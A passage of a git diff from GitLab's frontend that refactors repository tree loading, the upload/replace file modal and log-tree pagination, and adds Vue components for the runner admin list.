+ ref: this.ref,
+ path: this.path,
+ nextPageCursor: '',
+ pageSize: TREE_PAGE_SIZE,
+ });
+ },
+ loadBlob() {
+ if (!this.refactorBlobViewerEnabled) {
+ return;
+ }
+
+ this.apolloQuery(blobInfoQuery, {
+ projectPath: this.projectPath,
+ filePath: this.path,
+ });
+ },
+ apolloQuery(query, variables) {
+ this.$apollo.query({ query, variables });
+ },
+ },
};
</script>
@@ -148,6 +185,7 @@ export default {
<component
:is="linkComponent"
ref="link"
+ v-gl-hover-load="handlePreload"
:to="routerLinkTo"
:href="url"
:class="{
diff --git a/app/assets/javascripts/repository/components/tree_content.vue b/app/assets/javascripts/repository/components/tree_content.vue
index 336237abd8a..794a8a85cc5 100644
--- a/app/assets/javascripts/repository/components/tree_content.vue
+++ b/app/assets/javascripts/repository/components/tree_content.vue
@@ -1,17 +1,14 @@
<script>
import filesQuery from 'shared_queries/repository/files.query.graphql';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '../../locale';
+import { TREE_PAGE_SIZE, TREE_INITIAL_FETCH_COUNT } from '../constants';
import getRefMixin from '../mixins/get_ref';
import projectPathQuery from '../queries/project_path.query.graphql';
import { readmeFile } from '../utils/readme';
import FilePreview from './preview/index.vue';
import FileTable from './table/index.vue';
-const LIMIT = 1000;
-const PAGE_SIZE = 100;
-export const INITIAL_FETCH_COUNT = LIMIT / PAGE_SIZE;
-
export default {
components: {
FileTable,
@@ -47,7 +44,7 @@ export default {
isLoadingFiles: false,
isOverLimit: false,
clickedShowMore: false,
- pageSize: PAGE_SIZE,
+ pageSize: TREE_PAGE_SIZE,
fetchCounter: 0,
};
},
@@ -56,7 +53,7 @@ export default {
return readmeFile(this.entries.blobs);
},
hasShowMore() {
- return !this.clickedShowMore && this.fetchCounter === INITIAL_FETCH_COUNT;
+ return !this.clickedShowMore && this.fetchCounter === TREE_INITIAL_FETCH_COUNT;
},
},
@@ -107,14 +104,16 @@ export default {
if (pageInfo?.hasNextPage) {
this.nextPageCursor = pageInfo.endCursor;
this.fetchCounter += 1;
- if (this.fetchCounter < INITIAL_FETCH_COUNT || this.clickedShowMore) {
+ if (this.fetchCounter < TREE_INITIAL_FETCH_COUNT || this.clickedShowMore) {
this.fetchFiles();
this.clickedShowMore = false;
}
}
})
.catch((error) => {
- createFlash(__('An error occurred while fetching folder content.'));
+ createFlash({
+ message: __('An error occurred while fetching folder content.'),
+ });
throw error;
});
},
diff --git a/app/assets/javascripts/repository/components/upload_blob_modal.vue b/app/assets/javascripts/repository/components/upload_blob_modal.vue
index aa087d4c631..7f065dbdf6d 100644
--- a/app/assets/javascripts/repository/components/upload_blob_modal.vue
+++ b/app/assets/javascripts/repository/components/upload_blob_modal.vue
@@ -43,7 +43,6 @@ export default {
GlAlert,
},
i18n: {
- MODAL_TITLE,
COMMIT_LABEL,
TARGET_BRANCH_LABEL,
TOGGLE_CREATE_MR_LABEL,
@@ -51,6 +50,16 @@ export default {
NEW_BRANCH_IN_FORK,
},
props: {
+ modalTitle: {
+ type: String,
+ default: MODAL_TITLE,
+ required: false,
+ },
+ primaryBtnText: {
+ type: String,
+ default: PRIMARY_OPTIONS_TEXT,
+ required: false,
+ },
modalId: {
type: String,
required: true,
@@ -75,6 +84,11 @@ export default {
type: String,
required: true,
},
+ replacePath: {
+ type: String,
+ default: null,
+ required: false,
+ },
},
data() {
return {
@@ -90,7 +104,7 @@ export default {
computed: {
primaryOptions() {
return {
- text: PRIMARY_OPTIONS_TEXT,
+ text: this.primaryBtnText,
attributes: [
{
variant: 'confirm',
@@ -136,6 +150,45 @@ export default {
this.file = null;
this.filePreviewURL = null;
},
+ submitForm() {
+ return this.replacePath ? this.replaceFile() : this.uploadFile();
+ },
+ submitRequest(method, url) {
+ return axios({
+ method,
+ url,
+ data: this.formData(),
+ headers: {
+ ...ContentTypeMultipartFormData,
+ },
+ })
+ .then((response) => {
+ if (!this.replacePath) {
+ trackFileUploadEvent('click_upload_modal_form_submit');
+ }
+ visitUrl(response.data.filePath);
+ })
+ .catch(() => {
+ this.loading = false;
+ createFlash(ERROR_MESSAGE);
+ });
+ },
+ formData() {
+ const formData = new FormData();
+ formData.append('branch_name', this.target);
+ formData.append('create_merge_request', this.createNewMr);
+ formData.append('commit_message', this.commit);
+ formData.append('file', this.file);
+
+ return formData;
+ },
+ replaceFile() {
+ this.loading = true;
+
+ // The PUT path can be geneated from $route (similar to "uploadFile") once router is connected
+ // Follow-up issue: https://gitlab.com/gitlab-org/gitlab/-/issues/332736
+ return this.submitRequest('put', this.replacePath);
+ },
uploadFile() {
this.loading = true;
@@ -146,26 +199,7 @@ export default {
} = this;
const uploadPath = joinPaths(this.path, path);
- const formData = new FormData();
- formData.append('branch_name', this.target);
- formData.append('create_merge_request', this.createNewMr);
- formData.append('commit_message', this.commit);
- formData.append('file', this.file);
-
- return axios
- .post(uploadPath, formData, {
- headers: {
- ...ContentTypeMultipartFormData,
- },
- })
- .then((response) => {
- trackFileUploadEvent('click_upload_modal_form_submit');
- visitUrl(response.data.filePath);
- })
- .catch(() => {
- this.loading = false;
- createFlash(ERROR_MESSAGE);
- });
+ return this.submitRequest('post', uploadPath);
},
},
validFileMimetypes: [],
@@ -175,10 +209,10 @@ export default {
<gl-form>
<gl-modal
:modal-id="modalId"
- :title="$options.i18n.MODAL_TITLE"
+ :title="modalTitle"
:action-primary="primaryOptions"
:action-cancel="cancelOptions"
- @primary.prevent="uploadFile"
+ @primary.prevent="submitForm"
>
<upload-dropzone
class="gl-h-200! gl-mb-4"
diff --git a/app/assets/javascripts/repository/constants.js b/app/assets/javascripts/repository/constants.js
new file mode 100644
index 00000000000..62d5d3db445
--- /dev/null
+++ b/app/assets/javascripts/repository/constants.js
@@ -0,0 +1,4 @@
+const TREE_PAGE_LIMIT = 1000; // the maximum amount of items per page
+
+export const TREE_PAGE_SIZE = 100; // the amount of items to be fetched per (batch) request
+export const TREE_INITIAL_FETCH_COUNT = TREE_PAGE_LIMIT / TREE_PAGE_SIZE; // the amount of (batch) requests to make
diff --git a/app/assets/javascripts/repository/graphql.js b/app/assets/javascripts/repository/graphql.js
index 4a4b9d115b7..4892e54ebef 100644
--- a/app/assets/javascripts/repository/graphql.js
+++ b/app/assets/javascripts/repository/graphql.js
@@ -17,15 +17,21 @@ const fragmentMatcher = new IntrospectionFragmentMatcher({
const defaultClient = createDefaultClient(
{
Query: {
- commit(_, { path, fileName, type }) {
+ commit(_, { path, fileName, type, maxOffset }) {
return new Promise((resolve) => {
- fetchLogsTree(defaultClient, path, '0', {
- resolve,
- entry: {
- name: fileName,
- type,
+ fetchLogsTree(
+ defaultClient,
+ path,
+ '0',
+ {
+ resolve,
+ entry: {
+ name: fileName,
+ type,
+ },
},
- });
+ maxOffset,
+ );
});
},
readme(_, { url }) {
diff --git a/app/assets/javascripts/repository/index.js b/app/assets/javascripts/repository/index.js
index 501ae7e9f2f..60a1a0443f7 100644
--- a/app/assets/javascripts/repository/index.js
+++ b/app/assets/javascripts/repository/index.js
@@ -141,6 +141,9 @@ export default function setupVueRepositoryList() {
href: `${historyLink}/${
this.$route.params.path ? escapeFileUrl(this.$route.params.path) : ''
}`,
+ // Ideally passing this class to `props` should work
+ // But it doesn't work here. :(
+ class: 'btn btn-default btn-md gl-button ml-sm-0',
},
},
[__('History')],
diff --git a/app/assets/javascripts/repository/log_tree.js b/app/assets/javascripts/repository/log_tree.js
index 9001bcd8fc3..ac02392d60f 100644
--- a/app/assets/javascripts/repository/log_tree.js
+++ b/app/assets/javascripts/repository/log_tree.js
@@ -7,6 +7,13 @@ import refQuery from './queries/ref.query.graphql';
const fetchpromises = {};
const resolvers = {};
+let maxOffset;
+let nextOffset;
+let currentPath;
+
+function setNextOffset(offset) {
+ nextOffset = offset || null;
+}
export function resolveCommit(commits, path, { resolve, entry }) {
const commit = commits.find(
@@ -18,7 +25,25 @@ export function resolveCommit(commits, path, { resolve, entry }) {
}
}
-export function fetchLogsTree(client, path, offset, resolver = null) {
+export function fetchLogsTree(client, path, offset, resolver = null, _maxOffset = null) {
+ if (_maxOffset) {
+ maxOffset = _maxOffset;
+ }
+
+ if (!currentPath || currentPath !== path) {
+ // ensures the nextOffset is reset if the user changed directories
+ setNextOffset(null);
+ }
+
+ currentPath = path;
+
+ const offsetNumber = Number(offset);
+
+ if (!nextOffset && offsetNumber > maxOffset) {
+ setNextOffset(offsetNumber - 25); // ensures commit data is fetched for newly added rows that need data from the previous request (requests are made in batches of 25).
+ return Promise.resolve();
+ }
+
if (resolver) {
if (!resolvers[path]) {
resolvers[path] = [resolver];
@@ -38,7 +63,7 @@ export function fetchLogsTree(client, path, offset, resolver = null) {
path.replace(/^\//, ''),
)}`,
{
- params: { format: 'json', offset },
+ params: { format: 'json', offset: nextOffset || offset },
},
)
.then(({ data: newData, headers }) => {
@@ -57,9 +82,12 @@ export function fetchLogsTree(client, path, offset, resolver = null) {
delete fetchpromises[path];
if (headerLogsOffset) {
+ setNextOffset(null);
fetchLogsTree(client, path, headerLogsOffset);
} else {
delete resolvers[path];
+ maxOffset = null;
+ setNextOffset(null);
}
});
diff --git a/app/assets/javascripts/repository/mixins/get_ref.js b/app/assets/javascripts/repository/mixins/get_ref.js
index 1f1880a48c7..3247938f999 100644
--- a/app/assets/javascripts/repository/mixins/get_ref.js
+++ b/app/assets/javascripts/repository/mixins/get_ref.js
@@ -6,7 +6,7 @@ export default {
query: refQuery,
manual: true,
result({ data, loading }) {
- if (!loading) {
+ if (data && !loading) {
this.ref = data.ref;
this.escapedRef = data.escapedRef;
}
diff --git a/app/assets/javascripts/repository/queries/blob_info.query.graphql b/app/assets/javascripts/repository/queries/blob_info.query.graphql
index 07c076af54b..bfd9447d260 100644
--- a/app/assets/javascripts/repository/queries/blob_info.query.graphql
+++ b/app/assets/javascripts/repository/queries/blob_info.query.graphql
@@ -1,6 +1,5 @@
query getBlobInfo($projectPath: ID!, $filePath: String!) {
project(fullPath: $projectPath) {
- id
repository {
blobs(paths: [$filePath]) {
nodes {
@@ -12,9 +11,11 @@ query getBlobInfo($projectPath: ID!, $filePath: String!) {
fileType
path
editBlobPath
+ ideEditPath
storedExternally
rawPath
replacePath
+ canModifyBlob
simpleViewer {
fileType
tooLarge
diff --git a/app/assets/javascripts/repository/queries/commit.query.graphql b/app/assets/javascripts/repository/queries/commit.query.graphql
index e4aeaaff8fe..7ae4a3b984a 100644
--- a/app/assets/javascripts/repository/queries/commit.query.graphql
+++ b/app/assets/javascripts/repository/queries/commit.query.graphql
@@ -1,7 +1,7 @@
#import "ee_else_ce/repository/queries/commit.fragment.graphql"
-query getCommit($fileName: String!, $type: String!, $path: String!) {
- commit(path: $path, fileName: $fileName, type: $type) @client {
+query getCommit($fileName: String!, $type: String!, $path: String!, $maxOffset: Number!) {
+ commit(path: $path, fileName: $fileName, type: $type, maxOffset: $maxOffset) @client {
...TreeEntryCommit
}
}
diff --git a/app/assets/javascripts/rest_api.js b/app/assets/javascripts/rest_api.js
index ea8f87001f0..3e9e3e6f265 100644
--- a/app/assets/javascripts/rest_api.js
+++ b/app/assets/javascripts/rest_api.js
@@ -1,6 +1,7 @@
export * from './api/groups_api';
export * from './api/projects_api';
export * from './api/user_api';
+export * from './api/markdown_api';
// Note: It's not possible to spy on methods imported from this file in
// Jest tests. See https://stackoverflow.com/a/53307822/1063392.
diff --git a/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
new file mode 100644
index 00000000000..7f9f796bdee
--- /dev/null
+++ b/app/assets/javascripts/runner/components/cells/runner_actions_cell.vue
@@ -0,0 +1,171 @@
+<script>
+import { GlButton, GlButtonGroup, GlTooltipDirective } from '@gitlab/ui';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { __, s__ } from '~/locale';
+import deleteRunnerMutation from '~/runner/graphql/delete_runner.mutation.graphql';
+import runnerUpdateMutation from '~/runner/graphql/runner_update.mutation.graphql';
+
+const i18n = {
+ I18N_EDIT: __('Edit'),
+ I18N_PAUSE: __('Pause'),
+ I18N_RESUME: __('Resume'),
+ I18N_REMOVE: __('Remove'),
+ I18N_REMOVE_CONFIRMATION: s__('Runners|Are you sure you want to delete this runner?'),
+};
+
+export default {
+ components: {
+ GlButton,
+ GlButtonGroup,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ runner: {
+ type: Object,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ updating: false,
+ deleting: false,
+ };
+ },
+ computed: {
+ runnerNumericalId() {
+ return getIdFromGraphQLId(this.runner.id);
+ },
+ runnerUrl() {
+ // TODO implement using webUrl from the API
+ return `${gon.gitlab_url || ''}/admin/runners/${this.runnerNumericalId}`;
+ },
+ isActive() {
+ return this.runner.active;
+ },
+ toggleActiveIcon() {
+ return this.isActive ? 'pause' : 'play';
+ },
+ toggleActiveTitle() {
+ if (this.updating) {
+ // Prevent a "sticky" tooltip: If this button is disabled,
+ // mouseout listeners don't run leaving the tooltip stuck
+ return '';
+ }
+ return this.isActive ? i18n.I18N_PAUSE : i18n.I18N_RESUME;
+ },
+ deleteTitle() {
+ // Prevent a "sticky" tooltip: If element gets removed,
+ // mouseout listeners don't run and leaving the tooltip stuck
+ return this.deleting ? '' : i18n.I18N_REMOVE;
+ },
+ },
+ methods: {
+ async onToggleActive() {
+ this.updating = true;
+ // TODO In HAML iteration we had a confirmation modal via:
+ // data-confirm="_('Are you sure?')"
+ // this may not have to ported, this is an easily reversible operation
+
+ try {
+ const toggledActive = !this.runner.active;
+
+ const {
+ data: {
+ runnerUpdate: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: runnerUpdateMutation,
+ variables: {
+ input: {
+ id: this.runner.id,
+ active: toggledActive,
+ },
+ },
+ });
+
+ if (errors && errors.length) {
+ this.onError(new Error(errors[0]));
+ }
+ } catch (e) {
+ this.onError(e);
+ } finally {
+ this.updating = false;
+ }
+ },
+
+ async onDelete() {
+ // TODO Replace confirmation with gl-modal
+ // eslint-disable-next-line no-alert
+ if (!window.confirm(i18n.I18N_REMOVE_CONFIRMATION)) {
+ return;
+ }
+
+ this.deleting = true;
+ try {
+ const {
+ data: {
+ runnerDelete: { errors },
+ },
+ } = await this.$apollo.mutate({
+ mutation: deleteRunnerMutation,
+ variables: {
+ input: {
+ id: this.runner.id,
+ },
+ },
+ awaitRefetchQueries: true,
+ refetchQueries: ['getRunners'],
+ });
+ if (errors && errors.length) {
+ this.onError(new Error(errors[0]));
+ }
+ } catch (e) {
+ this.onError(e);
+ } finally {
+ this.deleting = false;
+ }
+ },
+
+ onError(error) {
+ // TODO Render errors when "delete" action is done
+ // `active` toggle would not fail due to user input.
+ throw error;
+ },
+ },
+ i18n,
+};
+</script>
+
+<template>
+ <gl-button-group>
+ <gl-button
+ v-gl-tooltip.hover.viewport
+ :title="$options.i18n.I18N_EDIT"
+ :aria-label="$options.i18n.I18N_EDIT"
+ icon="pencil"
+ :href="runnerUrl"
+ data-testid="edit-runner"
+ />
+ <gl-button
+ v-gl-tooltip.hover.viewport
+ :title="toggleActiveTitle"
+ :aria-label="toggleActiveTitle"
+ :icon="toggleActiveIcon"
+ :loading="updating"
+ data-testid="toggle-active-runner"
+ @click="onToggleActive"
+ />
+ <gl-button
+ v-gl-tooltip.hover.viewport
+ :title="deleteTitle"
+ :aria-label="deleteTitle"
+ icon="close"
+ :loading="deleting"
+ variant="danger"
+ data-testid="delete-runner"
+ @click="onDelete"
+ />
+ </gl-button-group>
+</template>
diff --git a/app/assets/javascripts/runner/components/cells/runner_name_cell.vue b/app/assets/javascripts/runner/components/cells/runner_name_cell.vue
new file mode 100644
index 00000000000..797a3359147
--- /dev/null
+++ b/app/assets/javascripts/runner/components/cells/runner_name_cell.vue
@@ -0,0 +1,44 @@
+<script>
+import { GlLink } from '@gitlab/ui';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+
+export default {
+ components: {
+ GlLink,
+ TooltipOnTruncate,
+ },
+ props: {
+ runner: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ runnerNumericalId() {
+ return getIdFromGraphQLId(this.runner.id);
+ },
+ runnerUrl() {
+ // TODO implement using webUrl from the API
+ return `${gon.gitlab_url || ''}/admin/runners/${this.runnerNumericalId}`;
+ },
+ description() {
+ return this.runner.description;
+ },
+ shortSha() {
+ return this.runner.shortSha;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <gl-link :href="runnerUrl"> #{{ runnerNumericalId }} ({{ shortSha }})</gl-link>
+ <tooltip-on-truncate class="gl-display-block" :title="description" truncate-target="child">
+ <div class="gl-text-truncate">
+ {{ description }}
+ </div>
+ </tooltip-on-truncate>
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/components/cells/runner_type_cell.vue b/app/assets/javascripts/runner/components/cells/runner_type_cell.vue
new file mode 100644
index 00000000000..b3ebdfd82e3
--- /dev/null
+++ b/app/assets/javascripts/runner/components/cells/runner_type_cell.vue
@@ -0,0 +1,42 @@
+<script>
+import { GlBadge } from '@gitlab/ui';
+import RunnerTypeBadge from '../runner_type_badge.vue';
+
+export default {
+ components: {
+ GlBadge,
+ RunnerTypeBadge,
+ },
+ props: {
+ runner: {
+ type: Object,
+ required: true,
+ },
+ },
+ computed: {
+ runnerType() {
+ return this.runner.runnerType;
+ },
+ locked() {
+ return this.runner.locked;
+ },
+ paused() {
+ return !this.runner.active;
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <runner-type-badge :type="runnerType" size="sm" />
+
+ <gl-badge v-if="locked" variant="warning" size="sm">
+ {{ __('locked') }}
+ </gl-badge>
+
+ <gl-badge v-if="paused" variant="danger" size="sm">
+ {{ __('paused') }}
+ </gl-badge>
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
new file mode 100644
index 00000000000..bec33ce2f44
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_filtered_search_bar.vue
@@ -0,0 +1,145 @@
+<script>
+import { GlFilteredSearchToken } from '@gitlab/ui';
+import { cloneDeep } from 'lodash';
+import { __, s__ } from '~/locale';
+import { OPERATOR_IS_ONLY } from '~/vue_shared/components/filtered_search_bar/constants';
+import FilteredSearch from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
+import {
+ STATUS_ACTIVE,
+ STATUS_PAUSED,
+ STATUS_ONLINE,
+ STATUS_OFFLINE,
+ STATUS_NOT_CONNECTED,
+ INSTANCE_TYPE,
+ GROUP_TYPE,
+ PROJECT_TYPE,
+ CREATED_DESC,
+ CREATED_ASC,
+ CONTACTED_DESC,
+ CONTACTED_ASC,
+ PARAM_KEY_STATUS,
+ PARAM_KEY_RUNNER_TYPE,
+} from '../constants';
+
+const searchTokens = [
+ {
+ icon: 'status',
+ title: __('Status'),
+ type: PARAM_KEY_STATUS,
+ token: GlFilteredSearchToken,
+ // TODO Get more than one value when GraphQL API supports OR for "status"
+ unique: true,
+ options: [
+ { value: STATUS_ACTIVE, title: s__('Runners|Active') },
+ { value: STATUS_PAUSED, title: s__('Runners|Paused') },
+ { value: STATUS_ONLINE, title: s__('Runners|Online') },
+ { value: STATUS_OFFLINE, title: s__('Runners|Offline') },
+
+ // Added extra quotes in this title to avoid splitting this value:
+ // see: https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1438
+ { value: STATUS_NOT_CONNECTED, title: `"${s__('Runners|Not connected')}"` },
+ ],
+ // TODO In principle we could support more complex search rules,
+ // this can be added to a separate issue.
+ operators: OPERATOR_IS_ONLY,
+ },
+
+ {
+ icon: 'file-tree',
+ title: __('Type'),
+ type: PARAM_KEY_RUNNER_TYPE,
+ token: GlFilteredSearchToken,
+ // TODO Get more than one value when GraphQL API supports OR for "status"
+ unique: true,
+ options: [
+ { value: INSTANCE_TYPE, title: s__('Runners|shared') },
+ { value: GROUP_TYPE, title: s__('Runners|group') },
+ { value: PROJECT_TYPE, title: s__('Runners|specific') },
+ ],
+ // TODO We should support more complex search rules,
+ // search for multiple states (OR) or have NOT operators
+ operators: OPERATOR_IS_ONLY,
+ },
+
+ // TODO Support tags
+];
+
+const sortOptions = [
+ {
+ id: 1,
+ title: __('Created date'),
+ sortDirection: {
+ descending: CREATED_DESC,
+ ascending: CREATED_ASC,
+ },
+ },
+ {
+ id: 2,
+ title: __('Last contact'),
+ sortDirection: {
+ descending: CONTACTED_DESC,
+ ascending: CONTACTED_ASC,
+ },
+ },
+];
+
+export default {
+ components: {
+ FilteredSearch,
+ },
+ props: {
+ value: {
+ type: Object,
+ required: true,
+ validator(val) {
+ return Array.isArray(val?.filters) && typeof val?.sort === 'string';
+ },
+ },
+ },
+ data() {
+ // filtered_search_bar_root.vue may mutate the inital
+ // filters. Use `cloneDeep` to prevent those mutations
+ // from affecting this component
+ const { filters, sort } = cloneDeep(this.value);
+ return {
+ initialFilterValue: filters,
+ initialSortBy: sort,
+ };
+ },
+ methods: {
+ onFilter(filters) {
+ const { sort } = this.value;
+
+ this.$emit('input', {
+ filters,
+ sort,
+ pagination: { page: 1 },
+ });
+ },
+ onSort(sort) {
+ const { filters } = this.value;
+
+ this.$emit('input', {
+ filters,
+ sort,
+ pagination: { page: 1 },
+ });
+ },
+ },
+ sortOptions,
+ searchTokens,
+};
+</script>
+<template>
+ <filtered-search
+ v-bind="$attrs"
+ recent-searches-storage-key="runners-search"
+ :sort-options="$options.sortOptions"
+ :initial-filter-value="initialFilterValue"
+ :initial-sort-by="initialSortBy"
+ :tokens="$options.searchTokens"
+ :search-input-placeholder="__('Search or filter results...')"
+ @onFilter="onFilter"
+ @onSort="onSort"
+ />
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_list.vue b/app/assets/javascripts/runner/components/runner_list.vue
new file mode 100644
index 00000000000..41adbbb55f6
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_list.vue
@@ -0,0 +1,142 @@
+<script>
+import { GlTable, GlTooltipDirective, GlSkeletonLoader } from '@gitlab/ui';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+import { formatNumber, sprintf, __, s__ } from '~/locale';
+import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
+import RunnerActionsCell from './cells/runner_actions_cell.vue';
+import RunnerNameCell from './cells/runner_name_cell.vue';
+import RunnerTypeCell from './cells/runner_type_cell.vue';
+import RunnerTags from './runner_tags.vue';
+
+const tableField = ({ key, label = '', width = 10 }) => {
+ return {
+ key,
+ label,
+ thClass: [
+ `gl-w-${width}p`,
+ 'gl-bg-transparent!',
+ 'gl-border-b-solid!',
+ 'gl-border-b-gray-100!',
+ 'gl-py-5!',
+ 'gl-px-0!',
+ 'gl-border-b-1!',
+ ],
+ tdClass: ['gl-py-5!', 'gl-px-1!'],
+ tdAttr: {
+ 'data-testid': `td-${key}`,
+ },
+ };
+};
+
+export default {
+ components: {
+ GlTable,
+ GlSkeletonLoader,
+ TimeAgo,
+ RunnerActionsCell,
+ RunnerNameCell,
+ RunnerTags,
+ RunnerTypeCell,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ props: {
+ loading: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
+ runners: {
+ type: Array,
+ required: true,
+ },
+ activeRunnersCount: {
+ type: Number,
+ required: true,
+ },
+ },
+ computed: {
+ activeRunnersMessage() {
+ return sprintf(__('Runners currently online: %{active_runners_count}'), {
+ active_runners_count: formatNumber(this.activeRunnersCount),
+ });
+ },
+ },
+ methods: {
+ runnerTrAttr(runner) {
+ if (runner) {
+ return {
+ 'data-testid': `runner-row-${getIdFromGraphQLId(runner.id)}`,
+ };
+ }
+ return {};
+ },
+ },
+ fields: [
+ tableField({ key: 'type', label: __('Type/State') }),
+ tableField({ key: 'name', label: s__('Runners|Runner'), width: 30 }),
+ tableField({ key: 'version', label: __('Version') }),
+ tableField({ key: 'ipAddress', label: __('IP Address') }),
+ tableField({ key: 'projectCount', label: __('Projects'), width: 5 }),
+ tableField({ key: 'jobCount', label: __('Jobs'), width: 5 }),
+ tableField({ key: 'tagList', label: __('Tags') }),
+ tableField({ key: 'contactedAt', label: __('Last contact') }),
+ tableField({ key: 'actions', label: '' }),
+ ],
+};
+</script>
+<template>
+ <div>
+ <div class="gl-text-right" data-testid="active-runners-message">{{ activeRunnersMessage }}</div>
+ <gl-table
+ :busy="loading"
+ :items="runners"
+ :fields="$options.fields"
+ :tbody-tr-attr="runnerTrAttr"
+ stacked="md"
+ fixed
+ >
+ <template v-if="!runners.length" #table-busy>
+ <gl-skeleton-loader v-for="i in 4" :key="i" />
+ </template>
+
+ <template #cell(type)="{ item }">
+ <runner-type-cell :runner="item" />
+ </template>
+
+ <template #cell(name)="{ item }">
+ <runner-name-cell :runner="item" />
+ </template>
+
+ <template #cell(version)="{ item: { version } }">
+ {{ version }}
+ </template>
+
+ <template #cell(ipAddress)="{ item: { ipAddress } }">
+ {{ ipAddress }}
+ </template>
+
+ <template #cell(projectCount)>
+ <!-- TODO add projects count -->
+ </template>
+
+ <template #cell(jobCount)>
+ <!-- TODO add jobs count -->
+ </template>
+
+ <template #cell(tagList)="{ item: { tagList } }">
+ <runner-tags :tag-list="tagList" size="sm" />
+ </template>
+
+ <template #cell(contactedAt)="{ item: { contactedAt } }">
+ <time-ago v-if="contactedAt" :time="contactedAt" />
+ <template v-else>{{ __('Never') }}</template>
+ </template>
+
+ <template #cell(actions)="{ item }">
+ <runner-actions-cell :runner="item" />
+ </template>
+ </gl-table>
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_manual_setup_help.vue b/app/assets/javascripts/runner/components/runner_manual_setup_help.vue
new file mode 100644
index 00000000000..4755977b051
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_manual_setup_help.vue
@@ -0,0 +1,76 @@
+<script>
+import { GlLink, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { __ } from '~/locale';
+import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
+import RunnerInstructions from '~/vue_shared/components/runner_instructions/runner_instructions.vue';
+
+export default {
+ components: {
+ GlLink,
+ GlSprintf,
+ ClipboardButton,
+ RunnerInstructions,
+ },
+ directives: {
+ GlTooltip: GlTooltipDirective,
+ },
+ inject: {
+ runnerInstallHelpPage: {
+ default: null,
+ },
+ },
+ props: {
+ registrationToken: {
+ type: String,
+ required: true,
+ },
+ typeName: {
+ type: String,
+ required: false,
+ default: __('shared'),
+ },
+ },
+ computed: {
+ rootUrl() {
+ return gon.gitlab_url || '';
+ },
+ },
+};
+</script>
+
+<template>
+ <div class="bs-callout">
+ <h5 data-testid="runner-help-title">
+ <gl-sprintf :message="__('Set up a %{type} runner manually')">
+ <template #type>
+ {{ typeName }}
+ </template>
+ </gl-sprintf>
+ </h5>
+
+ <ol>
+ <li>
+ <gl-link :href="runnerInstallHelpPage" data-testid="runner-help-link" target="_blank">
+ {{ __("Install GitLab Runner and ensure it's running.") }}
+ </gl-link>
+ </li>
+ <li>
+ {{ __('Register the runner with this URL:') }}
+ <br />
+
+ <code data-testid="coordinator-url">{{ rootUrl }}</code>
+ <clipboard-button :title="__('Copy URL')" :text="rootUrl" />
+ </li>
+ <li>
+ {{ __('And this registration token:') }}
+ <br />
+
+ <code data-testid="registration-token">{{ registrationToken }}</code>
+ <clipboard-button :title="__('Copy token')" :text="registrationToken" />
+ </li>
+ </ol>
+
+ <!-- TODO Implement reset token functionality -->
+ <runner-instructions />
+ </div>
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_pagination.vue b/app/assets/javascripts/runner/components/runner_pagination.vue
new file mode 100644
index 00000000000..8645b90f5cd
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_pagination.vue
@@ -0,0 +1,57 @@
+<script>
+import { GlPagination } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlPagination,
+ },
+ props: {
+ value: {
+ required: false,
+ type: Object,
+ default: () => ({
+ page: 1,
+ }),
+ },
+ pageInfo: {
+ required: false,
+ type: Object,
+ default: () => ({}),
+ },
+ },
+ computed: {
+ prevPage() {
+ return this.pageInfo?.hasPreviousPage ? this.value?.page - 1 : null;
+ },
+ nextPage() {
+ return this.pageInfo?.hasNextPage ? this.value?.page + 1 : null;
+ },
+ },
+ methods: {
+ handlePageChange(page) {
+ if (page > this.value.page) {
+ this.$emit('input', {
+ page,
+ after: this.pageInfo.endCursor,
+ });
+ } else {
+ this.$emit('input', {
+ page,
+ before: this.pageInfo.startCursor,
+ });
+ }
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-pagination
+ :value="value.page"
+ :prev-page="prevPage"
+ :next-page="nextPage"
+ align="center"
+ class="gl-pagination gl-mt-3"
+ @input="handlePageChange"
+ />
+</template>
diff --git a/app/assets/javascripts/runner/components/runner_tags.vue b/app/assets/javascripts/runner/components/runner_tags.vue
new file mode 100644
index 00000000000..4ba07e00c96
--- /dev/null
+++ b/app/assets/javascripts/runner/components/runner_tags.vue
@@ -0,0 +1,33 @@
+<script>
+import { GlBadge } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlBadge,
+ },
+ props: {
+ tagList: {
+ type: Array,
+ required: false,
+ default: () => [],
+ },
+ size: {
+ type: String,
+ required: false,
+ default: 'md',
+ },
+ variant: {
+ type: String,
+ required: false,
+ default: 'info',
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <gl-badge v-for="tag in tagList" :key="tag" :size="size" :variant="variant">
+ {{ tag }}
+ </gl-badge>
+ </div>
+</template>
